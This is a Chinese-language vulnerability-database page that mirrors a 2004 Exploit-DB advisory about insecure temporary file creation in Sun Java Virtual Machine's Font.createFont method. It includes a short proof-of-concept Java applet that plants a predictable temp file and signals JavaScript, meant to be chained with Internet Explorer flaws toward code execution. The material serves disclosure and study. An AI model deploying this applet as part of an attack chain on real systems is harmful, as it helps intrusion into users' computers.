Sun Java Virtual Machine 1.x – ‘Font.createFont’ Method Insecure Temporary File Creation

Sun Java Virtual Machine 1.x – ‘Font.createFont’ Method Insecure Temporary File Creation

漏洞ID 1054515 漏洞类型
发布时间 2004-07-09 更新时间 2004-07-09
图片[1]-Sun Java Virtual Machine 1.x – ‘Font.createFont’ Method Insecure Temporary File Creation-安全小百科CVE编号 N/A
图片[2]-Sun Java Virtual Machine 1.x – ‘Font.createFont’ Method Insecure Temporary File Creation-安全小百科CNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24264
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10685/info

Sun Java Virtual Machine is a component of the Sun Java infrastructure that performs the handling of Java applets and other programs. It is available for Unix, Linux, and Microsoft platforms. 

Sun Java Virtual Machine is prone to an insecure temporary file creation weakness. It is reported that this file is created by the 'Font.createFont' method with the following name:

+~JFxxxxx.tmp

where xxxxx is a random number.

This issue can be combined with various other vulnerabilities in Internet Explorer to ultimately allow for code execution on a vulnerable computer.

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;



public class Jelmer extends Applet {



public void init() {



try {

Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}



try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});



} catch(Exception e) {

e.printStackTrace();

}

}

}

相关推荐: A-FTP Anonymous FTP Server缓冲区溢出漏洞

A-FTP Anonymous FTP Server缓冲区溢出漏洞 漏洞ID 1205174 漏洞类型 缓冲区溢出 发布时间 2001-10-18 更新时间 2001-10-18 CVE编号 CVE-2001-0794 CNNVD-ID CNNVD-20011…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享